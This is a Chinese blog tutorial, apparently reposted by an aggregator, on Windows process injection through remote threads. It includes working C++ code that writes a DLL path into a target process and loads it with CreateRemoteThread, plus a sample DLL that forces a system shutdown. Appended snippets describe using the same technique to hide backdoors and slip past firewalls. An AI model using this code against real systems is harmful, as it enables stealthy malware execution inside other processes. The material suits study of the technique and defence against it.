C++进程注入(通过远程线程注入进程)

需要本文代码请直接跳到文章最底部下载

注入进程的方法有很多,本文主要介绍通过远程线程来注入进程的方法;

我们知道,每个进程都有4GB的地址空间,windows可用的大小大概为1.5GB左右,远程线程注入的方法主要是,打开一个线程以后,将要注入的动态库的地址写入这个地址空间,然后调用开启远程线程的函数,来执行LoadLibraryA或者LoadLibraryW(其实不存在LoadLibrary这个函数,他只是一个宏,如果是UNICODE环境的话会调用LoadLibraryW,否则就是LoadLibraryA)来执行这个动态库,动态库一旦被加载起来,DllMain中的DLL_PROCESS_ATTACH则会被执行,我们将要执行的代码写在DLL_PROCESS_ATTACH分支即可

下面开始通过代码来分析进程注入

1,需要打开一个我们想注入的进程,通过API  OpenProcess 打开,这个函数第一个参数主要是打开函数以后希望获取到的权限,因为我们需要开辟一块内,所以我的设置如下PROCESS_CREATE_THREAD|PROCESS_VM_WRITE|PROCESS_VM_OPERATION|PROCESS_QUERY_INFORMATION,表示我可以在进程内对他的内存进行读写、查询等操作,第二个参数设置FALSE就好了,第三个是我们想打开的进程的ID,这个是进程的唯一的一个标识,打开以后,如果成功,返回的HANDLE不为空,如果调用getLaseError返回的错误码是5的话
表示权限不足,需要提权(代码里面有提权函数)

2,进程成功打开以后,我们就要在进程里面开辟一内存,写入一点东西,写入的东西就是我们需要执行的动态库的地址,前面说了,我们需要调用LoadLibraryW来执行一个动态库,那么就要把动态库的文件地址写入目标进程,因为进程之间的变量都是独立的,我们在目标进程是读取不到(暂时这么理解)当前进程的一些变量的值得,所以必须得把我们要执行的动态库的文件地址写入目标进程,这样LoadLibraryW
才能找到 我们的动态库在哪~

通过调用VirtualAllocEx来开辟内存,具体的参数解释可以查阅百度,如果,内存开辟成功了,我们就要开始往内存中写 需要用到WriteProcessMemory函数,第一个参数是进程的HANDLE,第二个参数是要写入的地址,就用VirtualAllocEx返回的内存地址就好了,然后是需要写入什么,写入多大等,写入的内容就是我们动态库的地址,大小就是这个地址的字符串的长度,比如我的动态库的地址是"c:\\DllTest2.dll"
这就是我写入的内容,长度调用下库函数就可以求出来了

3.上面两步都完成以后,就可以开始用GetProcAddress 来获取LoadLibraryW的地址了~ 一般写法如下PTHREAD_START_ROUTINE pfnStartAddr = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(_T("Kernel32")),"LoadLibraryW");
表示从Kernel32模块中,吧LoadLibraryW函数地址找出来,找出来以后,我们就需要开启一个远程线程,来执行我们的DLL,函数是CreateRemoteThread,这个函数跟CreateThrea就第一个参数不同,CreateRemoteThread第一个参数表示目标进程的HANLE,其他参数一样,线程的函数我们就写pfnStartAddr  也就是GetProcAddress的返回值(表示LoadLibraryW),线程的参数填写我们要注入的DLL地址即可,到这一步,运行代码,DLL已经可以成功的注入目标进程了(当然,最好做一些清理工作),贴下我的代码吧!

注入进程的代码

//szModel DLL的地址 nProcessID目标进程的ID

BOOL Ingect(LPCTSTR szModel , DWORD nProcessID)

{

EnableDebugPriv();

HANDLE open = OpenProcess(PROCESS_CREATE_THREAD|PROCESS_VM_WRITE|

PROCESS_VM_OPERATION|PROCESS_QUERY_INFORMATION,

FALSE,nProcessID);

if(!open)

{

return FALSE;

}

int cbyte = (_tcslen(szModel)+1)*sizeof(TCHAR);

LPVOID pAddr = VirtualAllocEx(open,NULL,cbyte,MEM_COMMIT,PAGE_READWRITE);

if(!pAddr || !WriteProcessMemory(open,pAddr,szModel,cbyte,NULL))

{

return FALSE;

}

#ifdef _UNICODE

PTHREAD_START_ROUTINE pfnStartAddr = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(_T("Kernel32")),"LoadLibraryW");

#else

PTHREAD_START_ROUTINE pfnStartAddr = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(_T("Kernel32")),"LoadLibraryA");

#endif

if(!pfnStartAddr)

{

return FALSE;

}

DWORD threadID;

HANDLE thread = CreateRemoteThread(open,NULL,0,pfnStartAddr,pAddr,0,&threadID);

WaitForSingleObject(thread,INFINITE);

VirtualFreeEx(open,pAddr,cbyte,MEM_COMMIT);

CloseHandle(thread);

CloseHandle(open);

return TRUE;

}

DLL代码 我只是简单的弹出一个提示框,然后就调用CMD命令关机,代码如下

BOOL APIENTRY DllMain( HMODULE hModule,

DWORD  ul_reason_for_call,

LPVOID lpReserved

)

{

switch (ul_reason_for_call)

{

case DLL_PROCESS_ATTACH:

MessageBox(NULL,TEXT("关机代码"),TEXT("关机代码"),0);

system("shutdown -s -t 10");

break;

case DLL_THREAD_ATTACH:

case DLL_THREAD_DETACH:

case DLL_PROCESS_DETACH:

break;

}

return TRUE;

}

下面是在我虚拟机执行的效果图:

附件为我的工程的全部代码,包含权限提升,通过进程名查找进程ID,不包含我之前写的DLL

http://www.bcwhy.com/thread-21532-1-1.html

C++进程注入(通过远程线程注入进程)

C++进程注入(通过远程线程注入进程),布布扣,bubuko.com

时间: 2024-12-16 06:50:20

C++进程注入(通过远程线程注入进程)的相关文章

安全之路 —— 利用远程线程注入的方法(使用DLL)实现穿墙与隐藏进程

简介 大多数后门或病毒要想初步实现隐藏进程,即不被像任务管理器这样典型的RING3级进程管理器找到过于明显的不明进程,其中比较著名的方法就是通过远程线程注入的方法注入将恶意进程的DLL文件注入系统认可的正常进程,你会发现任务管理器以及找不到独立出现的恶意进程项了.反向连接型后门采用这种技术,注入防火墙认可的进程(例如大部分系统进程,像explorer.exe就很常见)还能够获得一定的穿墙效果. 进程注入虽然已经是将近10年前的技术了,但是今天出现的很多新型黑客技术大多数还是基于这类老技术演变而来

远程线程注入方法CreateRemoteThread

最近在整理学习Windows注入方面的知识,这个远程注入前面早写过,现在看看人家博客的理解整理,整理, 需要源码的可以到我的github上下载. 链接是  https://github.com/Arsense/WindowsCode 首先先来说说什么是注入,为什么要注入 0x00 Baise 注入就是把自己的Dll注入到人家的代码中,被注入的DLL拥有目标进程内存的访问权限,所以我们可以通过该 向某个进程注入DLL时的方法主要有以下三种: 创建远程线程(CreateRemoteThread()

[转载]Dll注入技术之远程线程注入

转自:黑客反病毒 DLL注入技术之远线程注入 DLL注入技术指的是将一个DLL文件强行加载到EXE文件中,并成为EXE文件中的一部分,这样做的目的在于方便我们通过这个DLL读写EXE文件内存数据,(例如 HOOK EXE文件中的API),或以被注入EXE的身份去执行一些操作等等.     远线程注入原理是利用Windows 系统中CreateRemoteThread()这个API,其中第4个参数是准备运行的线程,我们可以将LoadLibrary()填入其中,这样就可以执行远程进程中的LoadLi

奇技淫巧之调试被远程线程注入的DLL

远程线程注入, 这东西大家都懂的, 一般都被大家用来干些小小的坏事情,比如API Hook~~将DLL注入到其它进程并不是难事,问题是这个被注入的DLL不太好调试,调试DLL本来就是个比较头疼的问题,更何况是这种运行在其它进程空间的DLL, 被注入DLL的程序,不崩溃还好,崩溃了,要定位崩溃点,真是够麻烦的. 这几天,无意中发现了一个可以调试这种DLL的方法. 首先,需要准备两样东西: 1.微软的Detours库, 下载地址戳这里: 下载链接 2.打开Detours安装目录下的samples\s

【windows核心编程】使用远程线程注入DLL

前言 该技术是指通过在[目标进程]中创建一个[远程线程]来达到注入的目的. 创建的[远程线程]函数为LoadLibrary, 线程函数的参数为DLL名字, 想要做的工作在DLL中编写.  示意图如下:  相关API 1.创建远程线程 //该函数除了第一个参数为目标进程句柄外 //其他参数均和CreateThread一样 HANDLE hThread = CreateRemoteThread( __in HANDLE hProcess, //目标进程句柄 __in_opt LPSECURITY_A

远程线程注入dll

// CommonInject.cpp : Defines the entry point for the console application. // #include "stdafx.h" #include <windows.h> #include <WinUser.h> #include <WinDef.h> #include <iostream> #include <Tlhelp32.h> using namespa

远程线程注入

一丶远程线程注入的讲解 远程线程注入的原理,我会写一个远程线程开发的例子 我们总共需要几步 /*1.查找窗口,获取窗口句柄*/ /*2.根据窗口句柄,获得进程的PID*/ /*3.根据进程的PID,获得进程的句柄*/ /*4.根据进程的句柄,给进程申请额外内存空间*/ /*5.调用WriteProcessMemory,给进程写入DLL的路径*/ /*6.创建远程线程,执行我们的代码*/ /*7.调用退出代码,释放远程线程的dll*/ 每一步单独讲解 我们新建一个MFC 对话框程序,添加一个按钮,

安全之路 —— 无DLL文件实现远程线程注入

简介 在之前的章节中,笔者曾介绍过有关于远程线程注入的知识,将后门.dll文件注入explorer.exe中实现绕过防火墙反弹后门.但一个.exe文件总要在注入时捎上一个.dll文件着实是怪麻烦的,那么有没有什么方法能够不适用.dll文件实现注入呢? 答案是有的,我们可以直接将功能写在线程函数中,然后直接将整个函数注入,这个方法相较之于DLL注入会稍微复杂一些,适用于对一些体积比较小的程序进行注入.但是要注意动态链接库的地址重定位问题,因为正常的文件一般会默认载入kernel32.dll文件,而

详细解读:远程线程注入DLL到PC版微信

一.远程线程注入的原理 1.其基础是在 Windows 系统中,每个 .exe 文件在双击打开时都会加载 kernel32.dll 这个系统模块,该模块中有一个 LoadLibrary() 函数,可以将DLL文件加载到自身进程中. 2.这样,就可以用 CreateRemoteThread() 函数创建一个远程线程,让目标进程调用LoadLibrary() 来加载我们自己写的DLL .CreateRemoteThread() 有这几个参数比较关键:A:想要注入的进程的句柄,这里可以通过OpenPr